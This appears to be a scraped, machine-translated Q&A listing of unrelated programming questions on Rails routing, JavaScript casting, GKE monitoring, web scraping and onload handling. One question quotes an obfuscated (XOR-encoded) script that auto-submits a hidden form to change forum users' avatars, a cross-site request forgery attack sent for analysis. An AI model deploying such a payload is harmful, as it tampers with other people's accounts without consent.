我在一个项目中使用Dragonfly,该项目返回大量照片并希望优化URL.我目前正在获取图片网址:
哪个超过256个字节.我喜欢这样的东西:
HTTP://本地主机:3000 /媒体/ 1024/240x240_medium.jpg
这符合:
/media/:id/:format
Run Code Online (Sandbox Code Playgroud)
在使用Dragonfly和Rails时,我如何添加它,以便:format映射到一系列操作并:id用于查找模型或图像?谢谢!
编辑:
我Mime::Type为我需要的每种格式添加了自定义,并具有以下工作:
# config/routes.rb
match "/photos/:id/:style", to: "photos#show", as: :media
# app/controllers/photos_controller.rb
def show
@photo = Photo.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.jpg { cache('public', 86400); redirect_to @photo.url(params[:style], 'jpg') }
format.png { cache('public', 86400); redirect_to @photo.url(params[:style], 'png') }
format.gif { cache('public', 86400); redirect_to @photo.url(params[:style], 'gif') }
end
end
# app/views/photos/show.html.erb
<%= image_tag media_path(id: @photo.id, style: 'small', format: 'png') %>
Run Code Online (Sandbox Code Playgroud)
然而,这导致302每个图像(但在其他情况下工作正常).是否可以将其作为渲染处理或以某种方式进行内部重定向(即不要求客户端发出重复请求)?
我们可以在Windows 8 JS应用程序中使用jQuery和jQuery UI等框架吗?我找不到一个文档,我可以在其中阅读有关其他框架的内容.
谢谢.
如果比较将变量类型转换为整数的不同显式方法:
var y = parseInt(x,10) + 'text'; //太长了,需要包装,需要反八角黑客
var y = x.toFixed(0) + 'text'; //仍然很长,甚至更丑,也许还有马车
var y = Math.floor(x) + 'text'; // long并使用Math对象
var y = Number(x) + 'text'; // 长
var y = +x + 'text'; //很短,但太hacky
var y = 1 * x + 'text'; //简单而简短
你会看到,为什么最后一个是我最喜欢的.然而,我想知道,如果这种方法有任何隐藏的问题?
我想使用 Stackdriver 监控来监视我的 GKE 节点的 CPU/mem % 使用率。
但是,在浏览 Stackdriver Monitoring UI 时,似乎没有任何此类选项可用(就百分比而言)。
另一方面,对于(似乎是)绝对内存使用,似乎有 2 个极其相似的指标(它们的描述是相同的)。(附截图)。
有没有人知道如何提供 GKE 节点上使用的内存和 CPU 的百分比?(不是容器)
monitoring google-kubernetes-engine stackdriver google-cloud-monitoring google-cloud-stackdriver
就像firefox将firebug作为Web应用程序开发人员的有效工具一样,我想知道在Opera中是否有类似的工具用于Web开发人员?
我以前做过网络抓取,但从未如此复杂。我想从学校网站获取课程信息。然而,所有课程信息都显示在网络爬虫的噩梦中。
首先,当您单击“课程表”网址时,它会首先引导您浏览其他几个页面(我相信是设置 cookie 并检查其他垃圾)。
然后它最终加载一个带有 iframe 的页面,该页面显然只喜欢从机构网页(即 arizona.edu)内加载时加载。
从那里开始,表单提交必须通过按钮进行,这些按钮实际上并不重新加载页面,而只是提交 AJAX 查询,我认为它只是操纵 iframe。
这个查询对我来说特别难以复制。我一直在使用 PHP 和curl 来模拟浏览器访问初始页面,收集正确的cookie 等。但我认为我的curl 函数发送的标头有问题,因为它永远不允许我在初始“搜索表单”加载后执行任何类型的查询。
任何帮助都是极好的...
http://www.arizona.edu/students/registering-classes ->“课程表”
或者就在这里: http: //schedule.arizona.edu/
我有一些jQuery将被放在多个不同的HTML页面上,我不知道他们是否会附加jQuery库.我想这样做,以便它不加载库,如果它已经存在于页面上,以便它可以更快,但我无法弄清楚是否有办法检查库是否已附加到页面.
有办法吗?
<input alt="Flyer|49.80" type="checkbox" class="price" id="cb3" name="price_3" />
<input alt="CMS|199.99" type="checkbox" class="price" id="cb1" name="price_1" />
Run Code Online (Sandbox Code Playgroud)
嘿伙计!
也许有人可以在我的来源中给我一点提示.当我添加49.8 + 199.99时,它会增加0.000000002到我的总和.
谢谢你的任何建议!
有人正在使用一个奇怪的脚本来破坏我的论坛,我跟踪它并找到了javascript,但它是"编码"的,有人可以帮我吗?
这里是:
<script language="javascript">
var enkripsi="'1A`mf{'02mlNmcf'1F'00qw`okv]dmpo'0:'0;'1@'00'1G'2C'1Admpo'02lcog'1F'00o{dmpo'00'02cavkml'1F'00jvvr'1C--dmpwo,hmemq,wmn,amo,`p-fup-gzga-WqgpDwlavkmlq,wrfcvgWqgpCtcvcp,fup'00'02ogvjmf'1F'00RMQV'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00acnnAmwlv'00'02tcnwg'1F'003'00'1G'02'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/qapkrvLcog'00'02tcnwg'1F'00WqgpDwlavkmlq'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/ogvjmfLcog'00'02tcnwg'1F'00wrfcvgWqgpCtcvcp'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/kf'00'02tcnwg'1F'007:55]3135040515351'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/rcpco2'00'02tcnwg'1F'00qvpkle'1C72;;'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00zon'00'02tcnwg'1F'00vpwg'00'1G'2C'02'02Rngcqg'02ankai'02jgpg'1C'02'1Aklrwv'02v{rg'1F'00qw`okv'00'02tcnwg'1F'00Amlvklwg,,,'00'02-'1G'1A-r'1G'2C'1A-dmpo'1G'2C'2C'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'1G'2C'02'02'1A'03//'2C'02'02dwlavkml'02qw`okv]dmpo'0:'0;'02'2C'02'02'5@'2C'02'2;fmawoglv,o{dmpo,qw`okv'0:'0;'2C'02'02'5F'2C'02'02//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
</script>
Run Code Online (Sandbox Code Playgroud) 我有一个简单的JS函数,可以将文本行加载到无序列表.
使用Javascript
function loadText() {
document.getElementById("text1").innerHTML = "Text1";
document.getElementById("text2").innerHTML = "Text2";
document.getElementById("text3").innerHTML = "Text3";
}
window.onload = loadText;
Run Code Online (Sandbox Code Playgroud)
HTML
<ul id="textlist">
<li id="text1"></li>
<li id="text2"></li>
<li id="text3"></li>
</ul>
Run Code Online (Sandbox Code Playgroud)
这实际上适用于浏览器(Chrome),但是当我使用window.onload = loadText();而不是window.onload = loadText;.我收到错误:
未捕获的TypeError:无法设置null的属性'innerHTML'
我认为这是因为DOM没有被读取所以我尝试了,但是在那里遇到了同样的问题.然而,改window.onload = loadText();回去window.onload = loadText;再次工作.
我觉得这有点奇怪,这会引起不同.我在这里错过了什么吗?
javascript ×6
html ×2
jquery ×2
casting ×1
dom ×1
encryption ×1
firebug ×1
firefox ×1
html5 ×1
iframe ×1
integer ×1
monitoring ×1
opera ×1
php ×1
ruby ×1
stackdriver ×1
web-scraping ×1
windows ×1